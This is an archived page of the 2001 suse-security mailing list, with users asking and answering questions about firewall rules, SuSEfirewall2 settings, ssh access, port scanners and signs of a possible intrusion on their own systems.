~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "It is easier to do a job right than to explain why you didn't." - Martin Van Buren ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

1 0

Fw: Re: [suse-security] Strobe
by Peter Nixon 10 Sep '01

10 Sep '01

On Fri, 7 Sep 2001 14:02:12 +0100 Geraint Jones <geraint(a)jones5555.fsnet.co.uk> wrote: > Where can I download and how do I use strobe with SuSE 7.2 (kernel 2.4.4)? Errm. Why exactly do you want to use strobe? By your question it wouls seem that someone has told you to have a play with strobe, and you are not familiar with what it does exactly. Strobe is a very old portscanner (the first one ever) written by an Aussie named Julian Assange (homepage at http://www.iq.org) (As usual, us Aussies are the first!!!) He is now working on bigger and better things like Rubber Hose (http://www.rubberhose.org) It is very old, but if you still want a copy, you can find it at http://www.cotse.com/tools/pscan.htm Instead of strobe however, I suggest you take a look at Nmap (http://www.insecure.org/nmap/) which SuSE kindly include as an rpm in the Security secion of their cds -- Viel Spaß Nix - nix(a)susesecurity.com http://www.susesecurity.com

2 1

Re: [suse-security] Howto spread around the ext ip adress
by Stefan Knodt 09 Sep '01

09 Sep '01

I have a Firewall with a masqueraded DMZ. The adress of the external interface is not static (DHCP). The adress may change sometime. One of the servers in the DMZ needs to know the external adress. external interface | V Internet --------- Firewall ------ Intranet | | masq DMZ | |--- Server How can the Server determine the adress of the external interface or how can the firewall tell the adress of the external interface to the server Tks On Wed, 5 Sep 2001 12:25:21 -0500 (CDT), dog(a)intop.net wrote: >what exactly do you mean by this? > >On Wed, 5 Sep 2001, Stefan Knodt wrote: > >>Hi, >> >>since the external adress is assigned via dhcp and changes from time to time. >>What ist the most secure way to spread around the external ip adress to systems >>behind the firewall, e.g. in a masqueraded DMZ ? >>BTW the systems behind the firewall runs various OS. >> >>Thanks for your advice --------------------------- sknodt(a)bluewin.ch ---------------------------

2 1

stunnel vs sslwrap
by Steven Thompson 09 Sep '01

09 Sep '01

Hi All I would like to know which is best to use for IMAP. Is the one better than the other (ie faster, more stabe, more flexable, secure). Im currently using sslwrap. Thanks in Advance Steven Thompson

3 2

Re: [suse-security] IPCHAINS with dynamic DNS
by Stefan_Walther＠gehag-dsk.de 09 Sep '01

09 Sep '01

Hi you should use the ip-up and ip-down script in the /etc/ppp directory. In addition you should have a look at the SuSE-support-database, If I remember correctly, there is a way described how you can read the current IP of your interface to the internet and enabling the rules for this directly by use this IP. But if you do not want to do it in this way, switch to iptables with kernel 2.4.x. THX MfG. Stefan Walther stefan_walther(a)gehag-dsk.de dienst.: +4930/89786448 Funk: +49172/3943961 eric.draven(a)aon.at 09.09.01 13:19 To: suse-security(a)suse.com cc: Subject: [suse-security] IPCHAINS with dynamic DNS Hi all, i recognized a strange (?) behavior of IPCHAINS toward dynamic DNS names. I have the following problem: i use a dialup-connection at home and want to grant SSH-access to our company server, but (of course) only for my IP. So I registered some dynamic DNS-service and applied the host "xxx.ath.cx". Now i added the neccessary rules to ipchains, using this hostname. It was working fine. But after i reconnected (and got a new IP) it was not working anymore. Strange. Then i re-checked the rules and saw that ipchains obviously resolves the IP of "xxx.ath.cx", reverse lookups it and inserts THIS result (which is now the hostname given by my provider) to the final rules. So the original rule of: ipchains -I input 1 -j ACCEPT -l -p tcp -i eth0 -s xxx.ath.cx -d dst 22 is translated to: (ipchains -L) target prot opt source destination ports ACCEPT tcp ----l- L0099P99.dipool.highway.telekom.at dst any -> ssh which is not really what i want.. :/ Is there any solution? Deleting and re-inserting this rules every minute via crontab is something i would not really like to do.. best regards, E. -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

1 0

Re: [suse-security] /lib/ld-2.2.2.so md5sum changed ?
by lars＠newsone.org 09 Sep '01

09 Sep '01

On Sat, Sep 08, 2001 at 04:53:19PM +0000, Fabian Haischmann <fcch(a)gmx.de> wrote: > Hi Lars, > > You have a via 82686 chip, which is buggy, if DMA is enabled. what does this mean exactly? necessary data corruption? > > I think in the Bios DMA is enabled for hda (dmesg output). > When did you make the hdparam output? There is DMA off, but (I think) in > the hdparam -i it's on (UDMA2). well, I wondered about it myself. the hdparm and hdparm -i where about the same second, few minutes after reboot... and I found no message about disabling DMA in the syslogs. suse 7.2 by default enables DMA support, if it thinks it worked (?). I did not fiddle with the settings myself. Not on this box, at least ;) so seemingly the kernel and the drive do not agree about the (en/dis)abled status of DMA? how comes? if hdparm shows me DMA is of, I probably can not disable it further... how can I disable this, then; and am I out of trouble if I could? will disabling DMA in the BIOS help? I thought the linux drivers do not care about bios settings. where can I find a list of known buggy, or even better a positiv list of recommended hardware?

1 0

VPN behind iptables v1.2.2
by Andreas Wahlert 09 Sep '01

09 Sep '01

Hi list, i have a VPN Gateway behind a linux iptables Firewall with v 1.2.2. But the iptables rules are not be able to allow or drop the GRE protocol (number 47). How can i configure the iptables to allow this protocol? If i allow only tcp or udp, the signing up to the Gateway don't work. Thanx for help Andreas Wahlert

1 0

Re: [suse-security] http proxy
by Volker Kuhlmann 08 Sep '01

08 Sep '01

> even something 5 years old. Squid is also good for blocking ads (sites load > much faster). So is SuSEfirewall. nslookup doubleclick.com etc and entered into the output chain with label "dump" works extremely well. I wrote a short script and just add IPs to a file. Volker

4 3

Re: [suse-security] Firewall/IPChains or not ?
by Stefan_Walther＠gehag-dsk.de 08 Sep '01

08 Sep '01

Hi, I think you should install a second firewall. Maybe you should use the following model: INTERNET---FW1---(DMZ, with Webserver)---FW2---LAN You should be able to update your websites from the lan via ftp, without getting intrused by someone of the Internet. Maf king wrote that you should use iptables. Thats right, because of the real NAT which you can enable at FW1. At this point you can redirect incoming connections to port 80 to the webserver in the DMZ. The other ports can be closed if you do not need to use them. At FW2 you can enable NAT to the webserver via iptables. THX, have much fun. MfG. Stefan Walther stefan_walther(a)gehag-dsk.de dienst.: +4930/89786448 Funk: +49172/3943961 Hi A.M. On 2001.09.08 15:17:46 +0100 A. Meinerzhagen wrote: > Hi, List. > > > Is there a save way other than sftp/scp to let people update their > webpages? > Clients are using lots of Windows-Computers. After an Intrusion last > week > we don't like the idea anymore, that people use ftp to put their pages > on the server. Can't think of anything easy... are all your users going to update from inside your LAN, or do thay have to update over the internet? One soloution I have seen to this problem is a temporary FTP password : something like 1. you email the server, 2. a pasword is generated and is only valid for one hour 3. password emailed back to the user. Not great, but cracker has less time when she can intrude your box. > > Does it make sense, with our setup, to use SuSE Firewall at all? > Setup is : > IMHO, it nearly always makes sense to firewall - layers of security make it harder for a bad guy to get anywhere even if he breaks into one box... > WWW---->FW---->(eth0) Webserver (eth1)<--->LAN > ^ > | ^ > |------------------------v-----------------| > > Weird, I know. Incomming Traffic will go throug FW, but outgoing not. > > The Webserver-machine runs two instances of apache, to serve > the www-pages and the local www-pages. That's the reason for the > two NIC's. But by design we have to look at both NIC's as hostile > Networks, because any computer is connected any time to the Inter- > net (University). If using the Firewall, how would a setup look like? > Or better IPChains? And what would the Rules be ? We are serving > only ports 80, 443, and 22 (http, https, ssh) to the "outside" and at > the moment to the "inside" also. If people would insist to use ftp > from inside, what then ? > I'm not sure how you gain anything by having 2 NICs on the same LAN, to my eyes, you seem to be making things too complicated... If you are using kernel 2.4.x, try iptables - it is more flexible than ipchains SuSE firewall basically makes rules for ipchains / iptables so one isn't "better" than the other, they use different ways to do the same thing. Given your unusual set-up (but fairly simple needs), I think you would be better to roll your own using iptables (sorry, Marc ;-) ) Have a look at the HOWTO at http://netfilter.samba.org for some iptables ideas. HTH, Maf. > > Thanks in advance, A. Meinerzhagen > -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Maf. King Standby Exhibition Services ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "It is easier to do a job right than to explain why you didn't." - Martin Van Buren ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

1 0

non-Random IP ID
by Togan Muftuoglu 08 Sep '01

08 Sep '01

Hi, To test the effects of tinyproxy I have started on the firewall PC I did a nessus test via www.vulnerabilities.org. I did the test with and without the tinyproxy and the below comment is bothering me. This was not coming out with the tests I did before at the same site with the same Hardware and Software (SuSE linux 7.1 Kernel 2.2.19). The only change is the ISP is assigning the IP's from a different pool used to be 212.156.196.x now it 212.174.48.x /212.174.49.x) and maybe it has something to do from the ISP end ?? or my misconfiguration of something Security Warning found on port general/tcp The remote host uses non-random IP IDs, that is, it is possible to predict the next value of the ip_id field of the ip packets sent by this host. An attacker may use this feature to determine if the remote host sent a packet in reply to another request. This may be used for portscanning and other things. Solution : Contact your vendor for a patch Risk factor : Low -- Togan Muftuoglu

2 3

/lib/ld-2.2.2.so md5sum changed ?
by lars＠newsone.org 08 Sep '01

08 Sep '01

Hi there, I have a couple of suse 7.2 systems, on one of them # rpm -V glibc ..5..... /lib/ld-2.2.2.so # md5sum /lib/ld-2.2.2.so 36e9320d606f456f84951ba510209fc0 /lib/ld-2.2.2.so as opposed to 1312001a7eb2ccb4b666fe9f0775b932 /lib/ld-2.2.2.so as should be. this is glibc-2.2.2-38, and I wonder how this can happen. this one is almost always 'busy', so who or what could have changed it? one other shared libs related effect I have right now is that from one moment to the other our coldfusion server won't restart. it complains about unresolved symbols. any Idea? Thanks You, Lars

4 5

transfering accounts
by stephane parenton 07 Sep '01

07 Sep '01

Hi, I have an old RH6.0 box from which I'd like to export all the accounts to a brand new SuSE 7.2 box. here's the method I'd like to apply : Create the accounts with yast copying the /etc/passwd file from RH6.0 to SuSE 7.2 Copying the /etc/shadow file from RH6.0 to SuSE 7.2 Most of the accounts are customers accounts and I don't have all the passwd, so I don't want to miss one thing.... Regarding roots and internal accounts, everything is ok, I have the passwds.... Is the process correct, is it enough ? is there a simpler way to do this all ? Thanx Stephane

4 3

Apache problem behind packet filter
by Andreas Rittershofer 07 Sep '01

07 Sep '01

Due to security considerations my web server is placed behind a packet filter, both linux boxes. The webserver has the internal ip address 10.0.0.171, the packet filter has to the internal side the ip address 10.0.0.170 and to the outside the official ip address which would have the web server itself in case of no packet filter in between. On the webserver are hosted the pages of three domains, all under the same ip address, as name based virtual hosts, say domain1, domain2 and domain3. For domain1 there are the appropriate entries in /etc/hosts. When I want to access the web server apache with domain1 locally, i.e. with wget, all works fine. But for domain2 and domain3, this does not work, wget runs in a timeout. This is quite clear, because DNS gives the official ip address, not the internal 10.0.0.171. I added domain1 and domain2 to /etc/hosts, but two hours later, the server hanged. Was it the wrong syntax in /etc/hosts? How this must be? Or is it not possible to list more then one FQDN in /etc/hosts? Should it be 10.0.0.171 domain1 domain2 domain3 each as FQDN? mfg ar -- mailto:andreas@rittershofer.de http://www.rittershofer.de PGP-Public-Key http://www.rittershofer.de/ari.htm

1 0

Strobe
by Geraint Jones 07 Sep '01

07 Sep '01

Where can I download and how do I use strobe with SuSE 7.2 (kernel 2.4.4)? Thanks, G Jones.

2 1

Re: [suse-security] SuSEfirewall2 and ICMP
by James Bliss 07 Sep '01

07 Sep '01

I have mine with FW_ALLOW_EXT and this allows my internal clients to ping the internet. It sounds like you have something else setup which is preventing this ping. What are your settings for: FW_MASQ_NETS FW_ROUTE FW_MASQ_DEV FW_PROTECT_FROM_INTERNAL Jim 09/04/01 12:57:59 PM, "Peter Menzel" <Peter.Menzel(a)com-gmbh.de> wrote: >Hello, > >I successfully installed SuSEfirewall2 and configured it to my needs. The >firewall box is set up with two external interfaces (ippp0 and eth1). eth1 >is normally connected to an ELSA DSL router and in case DSL will not work I >want to switch back to ISDN. So far I've set up ISDN and that stuff, the box >is doing everything fine. Clients can do http, https, ftp, mail and so on. >Portscans run from the internet report all ports as stealth and the firewall >cannot be pinged from the internet. >But when it comes to a ping from the internal network to the internet, >nothing works. I've tried all the FW_ALLOW_PING_[FW|DMZ|EXT] settings, with >no results. Interesting: when I set FW_FORWARD_PING_DMZ="yes" I am able to >ping the internet from the firewall, but not from the clients. More >interesting: I have not configured a DMZ (yet). >What I would like to do is to ping the internet from the clients and get the >echo-reply back. echo-requests from the internet have to be dropped at the >firewall. >Has anyone experienced these problems? Any help would be appreciated. > >Thanks in advance, Peter >peter.menzel(a)com-gmbh.de > > > > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > >

2 1

SuSEfirewall V1.2 > 1.7 wont work
by Appeldorn 07 Sep '01

07 Sep '01

OK - its Friday - but maybe there is quick hack possible. If if upgrade the script to v1.7 the whole box is closed. Why that ? Easy to circumvent ? Michael

1 0

SuSEfirewall2 all UDP port open ???!!!
by Appeldorn 07 Sep '01

07 Sep '01

At initially test i saw all my udp ports open in my testbed network. In the configfile of SuSEfirewall2 you can read : # 8.) # Do you want to autoprotect all running network services on the firewall? # # If set to "yes", all network access to services TCP and UDP on this machine # will be prevented (except to those which you explicitly allow, see below: # FW_SERVICES_{EXT,DMZ,INT}_{TCP,UDP}) # # Choice: "yes" or "no", defaults to "yes" # FW_AUTOPROTECT_SERVICES="yes" and I did FW_SERVICES_EXT_TCP="22" # Common: smtp domain FW_SERVICES_EXT_UDP="" # Common: domain FW_SERVICES_EXT_IP="" # For VPN/Routing which END at the firewall!! # FW_SERVICES_DMZ_TCP="" # Common: smtp domain FW_SERVICES_DMZ_UDP="" # Common: domain syslog FW_SERVICES_DMZ_IP="" # For VPN/Routing which END at the firewall!! # FW_SERVICES_INT_TCP="8080" # Common: ssh smtp domain FW_SERVICES_INT_UDP="" # Common: domain syslog FW_SERVICES_INT_IP="" if nmap -sU against the external interface from external host all udp-port comes up with. so why ? Starting nmap V. 2.02 by Fyodor (fyodor(a)dhp.com, www.insecure.org/nmap/) WARNING: -sU is now UDP scan -- for TCP FIN scan use -sF Interesting ports on (10.10.10.10): Port State Protocol Service 1 open udp tcpmux 2 open udp compressnet 3 open udp compressnet ... 48001 open udp nimspooler 48002 open udp nimhub 48003 open udp nimgtw

1 1

[Fwd: Re: [suse-security] Block IP in firewall]
by Jussi Jääskeläinen 07 Sep '01

07 Sep '01

-------- Original Message -------- Subject: Re: [suse-security] Block IP in firewall Date: Fri, 07 Sep 2001 12:58:21 +0300 From: Jussi Jääskeläinen <jussi.jaaskelainen(a)audioriders.fi> To: Boris Lorenz <bolo(a)lupa.de> References: <XFMail.010907110830.bolo(a)lupa.de> Boris Lorenz wrote: > > Jo, > > On 06-Sep-01 dog(a)intop.net wrote: > > you can use a REJECT instead of DENY for the ipchains rule and your > > machine will not appear to even be online. if you use the deny rule, they > > can still tell what ports you have open, but cannot connect to them. > > For the records, ipchains REJECT sends out ICMP type 3 (host/port unreachable) > messages to the client, telling him to stop sending packets because there would > be no service on the port the client is hammering on. DENY silently drops the > packet, telling the client nothing, who may keep on scanning and filling your > logs. How about sending "TTL-timeout" (or what router send when ttl-value goes zero)?

1 0

Re: [suse-security] http proxy
by r.maurizzi＠gvs.it 07 Sep '01

07 Sep '01

> I want to enable http proxy on my firewall/router which has 24 MB RAM > and very limited HD space. I've a 486dx2 50MHz PC with 24 MB of ram and 400MB HD, and I use it as as both FW and proxy for a small lan. I use wwwoffle as a proxy, since it's rather small, blocks ads, and its cache can be kept to a fixed minimum. However... doing a base SuSE 7.0 installation, plus a couple of other security related rpms, I do have more than 100 MB of free disk space, and proxying is somewhat useful (mainly since using a 64kb/64kb cablemodem is way slower than the very old harddisk ;) Did you try a 'rpm -qa'? Maybe you mistakenly installed a very "fat" rpm. Ciao, Roberto.

1 0

Back Orifice (31337)
by Jesse yep 07 Sep '01

07 Sep '01

Hello, It appears that out of all my ports this is the only one open, I don't really know how to close it. I tried: /sbin/ipchains -I input -p UDP -s 0/0 -d 0/0 (port) -j REJECT Is this completely wrong, or is there another way to close all UDP ports? I'm using SuSE 7.1 2.4.0 __________________________________________________ Do You Yahoo!? Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger http://im.yahoo.com

2 1

Block IP in firewall
by Radu Anghel 07 Sep '01

07 Sep '01

Hi, Got an ip witch is scanning during the night (an internet cafe sez pcnet). How can I block all the ports for this IP? Many thanks, Radu

5 8

AW: [suse-security] ssh and harden_suse
by Wagner, Uwe 07 Sep '01

07 Sep '01

Hi, thanks a lot for your help. After including the line sshd: 192.168.1.0/255.255.255.0 in /etc/hosts.allow everything works fine. uwe -----Ursprüngliche Nachricht----- Von: Guido Tschakert [mailto:gt@src-gmbh.de] Gesendet: Donnerstag, 6. September 2001 11:40 An: Wagner, Uwe; 'suse-security(a)suse.com' Betreff: Re: [suse-security] ssh and harden_suse Am Donnerstag, 6. September 2001 08:28 schrieb Wagner, Uwe: > > Hi, > > I want to use OpenSSH to connect to a server on which the harden_suse > script was installed. > If I try 'ssh servername' the connection was refused by the server. The > message is : ssh_exchange_identification. > If I try to connect with ssh to another server with not installed the > harden_suse script, it works. > > I'm using SuSE 7.1 with the OpenSSH patch. > > Any idea ? > > uwe > > > <<Wagner, Uwe.vcf>> Hello, when "installing" harden_suse the tcp-wrapper konfiguration is also changed. You have to modify your /etc/hosts.allow and /etc/hosts.deny. Example: you want to connect from 192.168.1.0/24, so you have to include the line sshd: 192.168.1.0/255.255.255.0 and don't forget: man is your friend (here man tcpd). also you should have a look at /etc/ssh/sshd_config. HTH Guido ---------------------------------------- Content-Type: application/octet-stream; charset="iso-8859-1"; name="Wagner, Uwe.vcf" Content-Transfer-Encoding: 7bit Content-Description: ---------------------------------------- ---------------------------------------- Content-Type: text/plain; charset="us-ascii"; name="Anhang: 2" Content-Transfer-Encoding: 7bit Content-Description: ---------------------------------------- -- ----------------- Guido Tschakert SRC, SysAd ----------------- -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

1 0

single user mode
by Gregory M. Begumisa 07 Sep '01

07 Sep '01

Is it possible to boot in single user mode in linux? ---- Greg

5 7

Re: [suse-security] Block IP in firewall
by James Bliss 06 Sep '01

06 Sep '01

Are you using ipchains or iptables? 09/06/01 11:06:59 AM, Radu Anghel <anr(a)aral.ro> wrote: >Hi, > >Got an ip witch is scanning during the night (an internet cafe sez pcnet). >How can I block all the ports for this IP? > > >Many thanks, > >Radu > > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > >

1 0

Re: ports scaned
by teo＠gecadsoftware.com 06 Sep '01

06 Sep '01

Hi Radu! On Thu, 06 Sep 2001, Radu Anghel wrote: > Hi, > > Got an ip witch is scanning during the night (an internet cafe sez pcnet). > How can I block all the ports for this IP? > iptables -A INPUT -s $IP_HERE -j DROP want something more elaborated than this? -- teodor

1 0

Re: BCC?: [suse-security] firewall2 and SPOOFIN
by Burghard W.V. Britzke 06 Sep '01

06 Sep '01

again: try using "SuSEfirewall2 status | grep DROP-DEFAULT" to figure out which rule does it. use "iptables -Z <chain>" to zero package count for every chain. Once you got the rule you can look which part of SuSEfirewall2 set it. good luck! Anthony Hogbin schrieb: > Alas - machines in DMZ are not getting out at all, despite their ability to > resolve IP's using the firewall..... FW_FORWARD="$DMZ_MACHINE,0/0" does not > seem to be letting it out?! Packets are being dropped with > SuSE-FE-DROP-DEFAULTIN :( > > They can be seen by machines in the 192 LAN which is a bonus - but just not > get out themselves - I am sure I am missing the point somewhere?

1 0

RE: [suse-security] ssh problem
by Reckhard, Tobias 06 Sep '01

06 Sep '01

Hi Yuri [Machine has two A records] > So now the problem arises: I normally only use the easy-to-remember > hostname: it's the one I named the machine with (not even telling it about > the other one) and this is therefore also the one that ssh-keygen uses > when generating the keys. Unfortunately ssh, scp and sftp resolve the > IP-address to the other hostname, and fail to recognize the relevant key > in $HOME/.ssh/authorized_keys2 (regardless of which "direction" I go). I > assume there is an easy way to solve this, but I haven't found it. Can > someone help me out? > Hmm.. I fail to see where the hostname matters in the authorized_keys[2] files, except for the 'from="pattern-list"' parameter, which you don't seem to mean. The hostname does matter when the server's public key is checked against the known_hosts[2] files, so I assume that is where your problem actually lies. And concerning that, the sshd man page section titled "SSH_KNOWN_HOSTS FILE FORMAT" says: Each line in these files contains the following fields: hostnames, bits, exponent, modulus, comment. The fields are separated by spaces. Hostnames is a comma-separated list of patterns ('*' and '?' act as wild- cards); each pattern in turn is matched against the canonical host name (when authenticating a client) or against the user-supplied name (when authenticating a server). A pattern may also be preceded by `!' to indi- cate negation: if the host name matches a negated pattern, it is not ac- cepted (by that line) even if it matched another pattern on the line. Therefore, all you need to do is add the complicated name to the appropriate entry in the known hosts files. I.e. modify an entry of the form: hostname 1024 35 1768399887... to: hostname,complicated_hostname 1024 35 1768399887... Does that help you in any way? Tobias

2 1

Re: BCC?: [suse-security] firewall2 and SPOOFIN
by Burghard W.V. Britzke 06 Sep '01

06 Sep '01

> use "SuSEfirewall2 status | grep ANTI-SPOOF" > to figure out which rule stops your ICMP Packets (the first column shows you the # of packets which match the rule) > In my case it has been that the external net was a subnet of the internal net (eg. int=192.168.0.0/24 and ext=192.168.0/3) > But this does not bother too much. You just don't reach your dsl router directly. if it is configured correctly you can send packages > through your router (and vice versa). if you want to configure your rooter you have to delete 2/4 rules (depends on wether you have turned > loggin on or off) from one of your chains using iptables. after that restart the firewall to regain anti-spoof security. > > Anthony Hogbin schrieb: > > > Hello > > > > I am running repeatedly into a brick wall here over SuSEfirewall2 > > > > Three NIC's - a real IP DMZ, a masqueraded LAN on 192, and a DSL router > > which is my DFG and name server. > > > > I can do most stuff I hoped it would do when I sat down and figured out what > > I needed - like web, mail, imap, ssh, MSN IM blah blah. BUT I CANNOT PING. > > > > No where on the network can ping at all. > > > > Masqueraded clients can resolve but then nothing. > > > > This is what I get in the /var/log/firewall (where 14 is the router - and > > the 192 address is the test client): > > > > Sep 5 15:40:40 prometheus kernel: SuSE-FW-DROP-ANTI-SPOOFIN=eth0 OUT= > > MAC=00:01:02:24:8b:9a:00:20:6f:09:7c:b5:08:00 SRC=217.34.212.14 > > DST=217.34.212.2 LEN=315 TOS=0x00 PREC=0x00 TTL=60 ID=42849 PROTO=UDP SPT=53 > > DPT=1027 LEN=295 > > > > ....this is just one example of many SPOOF issues - but the one that I think > > points the strongest towards my current issues. > > > > With a bit of luck the act of asking for help will bring some > > enlightenment?! > > > > ---- > > > > For your entertainment (take it easy on me!) is the setup > > > > # 2.) > > FW_DEV_EXT="eth0" > > > > # 3.) > > FW_DEV_INT="eth2" > > > > # 4.) > > FW_DEV_DMZ="eth1" > > > > # 5.) > > FW_ROUTE="yes" > > > > # 6.) > > FW_MASQUERADE="yes" > > FW_MASQ_DEV="$FW_DEV_EXT" > > FW_MASQ_NETS="$INT_LAN_RANGE,0/0,tcp,20 $INT_LAN_RANGE,0/0,tcp,21 > > $INT_LAN_RANGE,0/0,tcp,22 $INT_LAN_RANGE,0/0,tcp,23 > > $INT_LAN_RANGE,0/0,tcp,25 $INT_LAN_RANGE,0/0,tcp,37 > > $INT_LAN_RANGE,0/0,udp,37 $INT_LAN_RANGE,0/0,udp,43 > > $INT_LAN_RANGE,0/0,udp,53 $INT_LAN_RANGE,0/0,tcp,53 > > $INT_LAN_RANGE,0/0,tcp,80 $INT_LAN_RANGE,0/0,tcp,110 > > $INT_LAN_RANGE,0/0,tcp,113 $INT_LAN_RANGE,0/0,tcp,123 > > $INT_LAN_RANGE,0/0,udp,123 $INT_LAN_RANGE,0/0,tcp,143 > > $INT_LAN_RANGE,0/0,tcp,443 $INT_LAN_RANGE,0/0,tcp,554 > > $INT_LAN_RANGE,0/0,tcp,993 $INT_LAN_RANGE,0/0,tcp,1863 > > $INT_LAN_RANGE,0/0,tcp,2401 $INT_LAN_RANGE,0/0,tcp,5800 > > $INT_LAN_RANGE,0/0,tcp,5900 $INT_LAN_RANGE,0/0,tcp,6800:6900 > > $INT_LAN_RANGE,0/0,udp,6800:6900 $INT_LAN_RANGE,0/0,tcp,6901 > > $INT_LAN_RANGE,0/0,udp,6901 $INT_LAN_RANGE,0/0,tcp,6970:7170 > > $INT_LAN_RANGE,0/0,tcp,7070" > > > > # 7.) > > FW_PROTECT_FROM_INTERNAL="yes" > > > > # 8.) > > FW_AUTOPROTECT_SERVICES="yes" > > > > # 9.) > > FW_SERVICES_EXT_TCP="" > > FW_SERVICES_EXT_UDP="" # Common: domain > > FW_SERVICES_EXT_IP="" > > FW_SERVICES_DMZ_TCP="53 3128" > > FW_SERVICES_DMZ_UDP="53" > > FW_SERVICES_DMZ_IP="" > > FW_SERVICES_INT_TCP="23 53 3128" > > FW_SERVICES_INT_UDP="53" > > FW_SERVICES_INT_IP="" > > > > # 10.) > > FW_TRUSTED_NETS="$EXT_ZFT_GATE,tcp,22" > > > > # 11.) > > FW_ALLOW_INCOMING_HIGHPORTS_TCP="yes" > > FW_ALLOW_INCOMING_HIGHPORTS_UDP="yes" > > > > # 12.) > > FW_SERVICE_AUTODETECT="yes" # Autodetect the services below when starting > > FW_SERVICE_DNS="yes" > > FW_SERVICE_DHCLIENT="no" > > FW_SERVICE_DHCPD="no" > > FW_SERVICE_SQUID="yes" > > FW_SERVICE_SAMBA="no" > > > > # 13.) > > FW_FORWARD="$INT_LAN_RANGE,$DMZ_IP_RANGE 0/0,$DMZ_EXCHANGE,tcp,25 > > 0/0,$DMZ_EXCHANGE,tcp,80 0/0,$DMZ_EXCHANGE,tcp,135 0/0,$DMZ_EXCHANGE,tcp,443 > > 0/0,$DMZ_BACKUP,tcp,21 0/0,$DMZ_BACKUP,tcp,20" > > > > # 14.) > > FW_FORWARD_MASQ="" # Beware to use this! > > > > # 15.) > > FW_REDIRECT="" > > > > # 16.) > > FW_LOG_DROP_CRIT="yes" > > FW_LOG_DROP_ALL="yes" > > FW_LOG_ACCEPT_CRIT="no" > > FW_LOG_ACCEPT_ALL="no" > > FW_LOG="--log-level warning --log-tcp-options --log-ip-option --log-prefix > > SuSE-FW" > > > > # 17.) > > FW_KERNEL_SECURITY="yes" > > > > # 18.) > > FW_STOP_KEEP_ROUTING_STATE="yes" > > > > # 19.) > > FW_ALLOW_PING_FW="no" > > FW_ALLOW_PING_DMZ="no" > > FW_ALLOW_PING_EXT="yes" > > > > -- > > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > > For additional commands, e-mail: suse-security-help(a)suse.com

1 0

Getting hacked?
by Max Lindner 06 Sep '01

06 Sep '01

Hi out there... I've got a big problem... A few folders disappeared from my samba-dir (unfortunately they where the importantest i ever had :( ). Well that's not the real problem. After this I've checked /var/log/messages and got the following: Sep 5 22:18:21 monika sshd[2616]: Did not receive ident string from 62.225.211.70. Sep 5 22:18:23 monika sshd[2623]: Did not receive ident string from 62.225.211.70. Sep 5 22:18:26 monika in.ftpd[2615]: connect from 62.225.211.70 (62.225.211.70) Sep 5 22:18:26 monika in.telnetd[2617]: connect from 62.225.211.70 (62.225.211.70) Sep 5 22:18:26 monika in.fingerd[2618]: connect from 62.225.211.70 (62.225.211.70) Sep 5 22:18:26 monika popper[2619]: connect from 62.225.211.70 (62.225.211.70) Sep 5 22:18:26 monika popper[2619]: error: cannot execute /usr/sbin/popper: No such file or directory Sep 5 22:18:26 monika fingerd[2618]: getpeername: Transport endpoint is not connected Sep 5 22:18:26 monika ftpd[2615]: getpeername (in.ftpd): Transport endpoint is not connected Sep 5 22:18:31 monika in.ftpd[2622]: connect from 62.225.211.70 (62.225.211.70) Sep 5 22:18:33 monika in.telnetd[2624]: connect from 62.225.211.70 (62.225.211.70) Sep 5 22:18:34 monika telnetd[2624]: ttloop: peer died: EOF Sep 5 22:18:36 monika in.fingerd[2625]: connect from 62.225.211.70 (62.225.211.70) Sep 5 22:18:38 monika popper[2626]: connect from 62.225.211.70 (62.225.211.70) Sep 5 22:18:38 monika popper[2626]: error: cannot execute /usr/sbin/popper: No such file or directory When I'm not wrong, this says that someone was very interested about my router. Unfortunately there wasn't any firewall and no good protection (what was I stupid...) How can I see if he got in my system and deleted my folders? Can you say me, what signs indicate that he is already in my router. Is there a way to hide a programm from ps -axl? Thanks for any help! Max --- I'm securing my system now...

7 7

No reply since several days, need HELP!!!
by Stefan_Walther＠gehag-dsk.de 06 Sep '01

06 Sep '01

Hi folks, some days ago I wrote an email to these lists. I have a problem with getting some data through a FreeS/WAN tunnel. The first mail are coming back tells me something about strange routing. There was a fault at my side, because I had a double writing error in the IP's. I correct this in the mail from 1st september. As I wrote my first mail I get so much replies that I cannot solve them at one day, as I found time to do this. Now I cannot understand, why there is no reply anymore. I need HELP!!! A colleague of me wrote a mail yesterday to the suse-security-list. MfG. Stefan Walther stefan_walther(a)gehag-dsk.de dienst.: +4930/89786448 Funk: +49172/3943961

1 0

ssh and harden_suse
by Wagner, Uwe 06 Sep '01

06 Sep '01

Hi, I want to use OpenSSH to connect to a server on which the harden_suse script was installed. If I try 'ssh servername' the connection was refused by the server. The message is : ssh_exchange_identification. If I try to connect with ssh to another server with not installed the harden_suse script, it works. I'm using SuSE 7.1 with the OpenSSH patch. Any idea ? uwe <<Wagner, Uwe.vcf>>

2 1

RE: [suse-security] ssh and harden_suse
by Reckhard, Tobias 06 Sep '01

06 Sep '01

